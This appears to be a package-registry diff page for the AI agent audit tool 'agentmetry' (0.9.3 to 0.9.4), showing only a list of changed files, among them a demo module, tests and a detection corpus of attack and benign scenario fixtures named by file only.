agentmetry 0.9.3__tar.gz → 0.9.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (284) hide show
  1. {agentmetry-0.9.3 → agentmetry-0.9.4}/PKG-INFO +1 -1
  2. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/cli/__init__.py +22 -2
  3. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/doctor.py +13 -2
  4. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/version.py +1 -1
  5. agentmetry-0.9.4/agentmetry/demo.py +472 -0
  6. agentmetry-0.9.4/tests/test_demo.py +76 -0
  7. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_doctor.py +42 -0
  8. {agentmetry-0.9.3 → agentmetry-0.9.4}/.dockerignore +0 -0
  9. {agentmetry-0.9.3 → agentmetry-0.9.4}/.env.agentmetry-demo +0 -0
  10. {agentmetry-0.9.3 → agentmetry-0.9.4}/.env.example +0 -0
  11. {agentmetry-0.9.3 → agentmetry-0.9.4}/.gitignore +0 -0
  12. {agentmetry-0.9.3 → agentmetry-0.9.4}/Dockerfile +0 -0
  13. {agentmetry-0.9.3 → agentmetry-0.9.4}/README.md +0 -0
  14. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/__init__.py +0 -0
  15. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/__init__.py +0 -0
  16. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/main.py +0 -0
  17. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/routes/__init__.py +0 -0
  18. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/routes/audit.py +0 -0
  19. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/routes/auth.py +0 -0
  20. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/trusted_host.py +0 -0
  21. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/websocket.py +0 -0
  22. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/api/ws_bridge.py +0 -0
  23. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/cli/__main__.py +0 -0
  24. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/__init__.py +0 -0
  25. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/api_token.py +0 -0
  26. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/__init__.py +0 -0
  27. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/adapters/__init__.py +0 -0
  28. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/adapters/agt.py +0 -0
  29. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/adapters/chronicle.py +0 -0
  30. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/adapters/cloudevents.py +0 -0
  31. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/adapters/ecs.py +0 -0
  32. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/adapters/sentinel.py +0 -0
  33. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/adapters/splunk.py +0 -0
  34. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/alerts.py +0 -0
  35. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/atlas.py +0 -0
  36. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/canonical.py +0 -0
  37. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/compliance_digest.py +0 -0
  38. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/__init__.py +0 -0
  39. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/benchmark.py +0 -0
  40. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_approval_denied_then_executed.jsonl +0 -0
  41. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_arbitrary_host_stage_execute.jsonl +0 -0
  42. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_autonomous_unapproved_write.jsonl +0 -0
  43. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_credential_exfil.jsonl +0 -0
  44. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_credential_then_cloud_api.jsonl +0 -0
  45. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_destructive_delete_burst.jsonl +0 -0
  46. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_discovery_then_collect.jsonl +0 -0
  47. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_dotfile_then_git_push.jsonl +0 -0
  48. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_encoded_command_download.jsonl +0 -0
  49. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_env_credential_exfil.jsonl +0 -0
  50. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_hashed_only_no_command.jsonl +0 -0
  51. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_interpreter_egress.jsonl +0 -0
  52. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_pr_merged_without_review.jsonl +0 -0
  53. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_proc_substitution_cradle.jsonl +0 -0
  54. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_remote_pipe_to_shell.jsonl +0 -0
  55. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_remote_staging_then_execute.jsonl +0 -0
  56. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_secret_manager_then_egress.jsonl +0 -0
  57. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_session_tool_burst.jsonl +0 -0
  58. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_single_command_exfil.jsonl +0 -0
  59. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_single_quoted_interpreter_egress.jsonl +0 -0
  60. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_ssh_directory_exfil.jsonl +0 -0
  61. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_subagent_swarm.jsonl +0 -0
  62. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_timestamp_collision.jsonl +0 -0
  63. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/attack_untrusted_input_then_action.jsonl +0 -0
  64. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_authoring_merge_fixtures.jsonl +0 -0
  65. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_autonomous_after_approval.jsonl +0 -0
  66. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_build_artifact_cleanup.jsonl +0 -0
  67. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_ci_artifact_download.jsonl +0 -0
  68. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_commit_message_names_cloud_clis.jsonl +0 -0
  69. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_database_migration.jsonl +0 -0
  70. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_dependency_install_and_build.jsonl +0 -0
  71. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_download_release_archive.jsonl +0 -0
  72. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_env_example_read.jsonl +0 -0
  73. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_fetch_data_then_run_repo_script.jsonl +0 -0
  74. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_fetch_dataset_then_analyse.jsonl +0 -0
  75. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_fetch_lockfile_then_install.jsonl +0 -0
  76. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_fetch_piped_into_own_script.jsonl +0 -0
  77. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_git_review_and_push.jsonl +0 -0
  78. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_github_raw_docs_then_script.jsonl +0 -0
  79. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_human_driven_deletes.jsonl +0 -0
  80. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_local_api_probing.jsonl +0 -0
  81. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_long_but_calm_session.jsonl +0 -0
  82. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_loopback_is_not_egress.jsonl +0 -0
  83. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_loopback_pipe_to_interpreter.jsonl +0 -0
  84. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_mcp_text_mentions_credential_path.jsonl +0 -0
  85. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_ordinary_development.jsonl +0 -0
  86. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_package_manager_after_fetch.jsonl +0 -0
  87. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_reading_config_that_is_not_secret.jsonl +0 -0
  88. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_remote_api_call_no_credentials.jsonl +0 -0
  89. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_research_then_docs.jsonl +0 -0
  90. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_reversed_order_is_not_exfil.jsonl +0 -0
  91. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_secret_names_and_docs.jsonl +0 -0
  92. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_test_and_fix_loop.jsonl +0 -0
  93. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/benign_writing_about_credentials.jsonl +0 -0
  94. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/corpus/corpus.yaml +0 -0
  95. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/disposition.py +0 -0
  96. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/engine.py +0 -0
  97. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/live.py +0 -0
  98. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/live_store.py +0 -0
  99. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/models.py +0 -0
  100. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/rules.py +0 -0
  101. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/traits.py +0 -0
  102. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/yaml_config.py +0 -0
  103. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/detection/yaml_rules.py +0 -0
  104. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/dlp/__init__.py +0 -0
  105. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/dlp/loader.py +0 -0
  106. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/dlp/models.py +0 -0
  107. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/dlp/scanner.py +0 -0
  108. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/dogfood.py +0 -0
  109. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/evidence_pack.py +0 -0
  110. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/external.py +0 -0
  111. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/forwarder.py +0 -0
  112. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/hashing.py +0 -0
  113. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/heartbeat.py +0 -0
  114. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/hook_bootstrap.py +0 -0
  115. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/identity.py +0 -0
  116. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/ingest.py +0 -0
  117. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/managed_hooks.py +0 -0
  118. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/mcp_inventory_event.py +0 -0
  119. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/migrate.py +0 -0
  120. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/mitre.py +0 -0
  121. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/otel_ingest.py +0 -0
  122. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/policy.py +0 -0
  123. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/policy_settings.py +0 -0
  124. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/redaction.py +0 -0
  125. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/replay.py +0 -0
  126. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/run_context.py +0 -0
  127. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/signing.py +0 -0
  128. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/sinks.py +0 -0
  129. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/spool.py +0 -0
  130. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/tool_policy/__init__.py +0 -0
  131. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/tool_policy/capability.py +0 -0
  132. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/tool_policy/evaluator.py +0 -0
  133. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/tool_policy/loader.py +0 -0
  134. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/tool_policy/models.py +0 -0
  135. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/trail_anchor.py +0 -0
  136. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/trail_chain.py +0 -0
  137. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/trail_db.py +0 -0
  138. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/trail_merkle.py +0 -0
  139. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/audit/trail_rotation.py +0 -0
  140. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/auth.py +0 -0
  141. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/bus/__init__.py +0 -0
  142. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/bus/audit_exporter.py +0 -0
  143. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/bus/bridges.py +0 -0
  144. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/bus/bus.py +0 -0
  145. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/bus/events.py +0 -0
  146. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/bus/outbox.py +0 -0
  147. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/config.py +0 -0
  148. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/dashboard_session.py +0 -0
  149. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/__init__.py +0 -0
  150. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/autostart.py +0 -0
  151. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/driver_paths.py +0 -0
  152. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/env_file.py +0 -0
  153. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/hook_coverage.py +0 -0
  154. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/mcp_inventory.py +0 -0
  155. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/diagnostics/mcp_schema.py +0 -0
  156. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/drivers/__init__.py +0 -0
  157. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/drivers/host.py +0 -0
  158. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/drivers/permissions.py +0 -0
  159. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/drivers/spec.py +0 -0
  160. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/extensions.py +0 -0
  161. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/health.py +0 -0
  162. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/operator_identity.py +0 -0
  163. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/core/paths.py +0 -0
  164. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/hooks/__init__.py +0 -0
  165. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/hooks/ingest.py +0 -0
  166. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/hooks/mcp_proxy.py +0 -0
  167. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/policies/detection/manifest.yaml +0 -0
  168. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/policies/dlp/manifest.yaml +0 -0
  169. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/policies/opa/agent_rules.rego +0 -0
  170. {agentmetry-0.9.3 → agentmetry-0.9.4}/agentmetry/policies/tool/manifest.yaml +0 -0
  171. {agentmetry-0.9.3 → agentmetry-0.9.4}/pyproject.toml +0 -0
  172. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/conftest.py +0 -0
  173. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/fixtures/agt_filesink_exfil.jsonl +0 -0
  174. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/fixtures/agt_filesink_mixed.jsonl +0 -0
  175. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/fixtures/fake_mcp_server.py +0 -0
  176. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/fixtures/otel_claude_code_session.json +0 -0
  177. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_agentmetry_audit.py +0 -0
  178. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_agentmetry_ingest_client.py +0 -0
  179. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_agt_adapter.py +0 -0
  180. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_ask_gate_phase_a.py +0 -0
  181. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_atlas_detection_enrichment.py +0 -0
  182. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_atlas_mapping.py +0 -0
  183. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_audit_sinks.py +0 -0
  184. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_audit_stats.py +0 -0
  185. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_audit_tail.py +0 -0
  186. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_auth.py +0 -0
  187. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_auth_default.py +0 -0
  188. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_autostart.py +0 -0
  189. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_boot_sequence.py +0 -0
  190. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_burst_windows.py +0 -0
  191. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_chinese_agent_hooks.py +0 -0
  192. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_chinese_agent_sprint_b.py +0 -0
  193. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_chinese_agent_sprint_c.py +0 -0
  194. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_chronicle_adapter.py +0 -0
  195. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_cli_backup.py +0 -0
  196. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_cli_commands.py +0 -0
  197. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_cli_env_var_names.py +0 -0
  198. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_cloudevents_adapter.py +0 -0
  199. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_compliance_digest.py +0 -0
  200. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_container_and_legacy_runtime.py +0 -0
  201. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_crewai_adapter.py +0 -0
  202. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_adi.py +0 -0
  203. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_benchmark.py +0 -0
  204. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_default_config.py +0 -0
  205. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_disposition.py +0 -0
  206. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_disposition_api.py +0 -0
  207. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_duplicate_emission.py +0 -0
  208. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_emit_durability.py +0 -0
  209. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_engine.py +0 -0
  210. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_evasion.py +0 -0
  211. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_hf_incident.py +0 -0
  212. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_quoted_command_words.py +0 -0
  213. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_rule_identity.py +0 -0
  214. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_detection_rules_v2.py +0 -0
  215. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_dlp_agent_env_override.py +0 -0
  216. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_dlp_invisible_unicode.py +0 -0
  217. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_dlp_markdown_exfil.py +0 -0
  218. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_dlp_scanner.py +0 -0
  219. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_dogfood.py +0 -0
  220. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_dogfood_freeze.py +0 -0
  221. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_driver_paths.py +0 -0
  222. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_ecs_threat.py +0 -0
  223. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_event_bus.py +0 -0
  224. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_event_signing.py +0 -0
  225. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_evidence_pack.py +0 -0
  226. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_extensions.py +0 -0
  227. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_external_ingest.py +0 -0
  228. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_forwarder.py +0 -0
  229. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_forwarding_shape.py +0 -0
  230. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_funding_manifest.py +0 -0
  231. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hash_key.py +0 -0
  232. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_heartbeat.py +0 -0
  233. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hook_bootstrap.py +0 -0
  234. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hook_coverage.py +0 -0
  235. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hook_decision_format.py +0 -0
  236. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hook_enforcement_timing.py +0 -0
  237. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hook_import_cost.py +0 -0
  238. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hook_real_process.py +0 -0
  239. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_hook_spool.py +0 -0
  240. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_identity_enrich.py +0 -0
  241. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_identity_provider.py +0 -0
  242. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_ingest_roundtrip.py +0 -0
  243. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_isolation.py +0 -0
  244. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_launch_targets.py +0 -0
  245. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_live_detection.py +0 -0
  246. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_live_detection_store.py +0 -0
  247. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_managed_hooks.py +0 -0
  248. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mcp_audit_proxy.py +0 -0
  249. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mcp_concealed_text.py +0 -0
  250. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mcp_inventory.py +0 -0
  251. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mcp_inventory_event.py +0 -0
  252. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mcp_meta_fingerprint.py +0 -0
  253. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mcp_proxy_packaged.py +0 -0
  254. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mcp_schema.py +0 -0
  255. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_mitre_dlp.py +0 -0
  256. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_opensre_adapter.py +0 -0
  257. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_operator_attribution.py +0 -0
  258. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_otel_ingest.py +0 -0
  259. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_paths.py +0 -0
  260. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_powershell_encoding.py +0 -0
  261. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_readme_claims.py +0 -0
  262. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_redaction.py +0 -0
  263. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_replay.py +0 -0
  264. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_sentinel.py +0 -0
  265. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_serve_script_binds_loopback.py +0 -0
  266. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_shared_install.py +0 -0
  267. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_sigma_pack.py +0 -0
  268. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_static_serving.py +0 -0
  269. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_subagent_lifecycle.py +0 -0
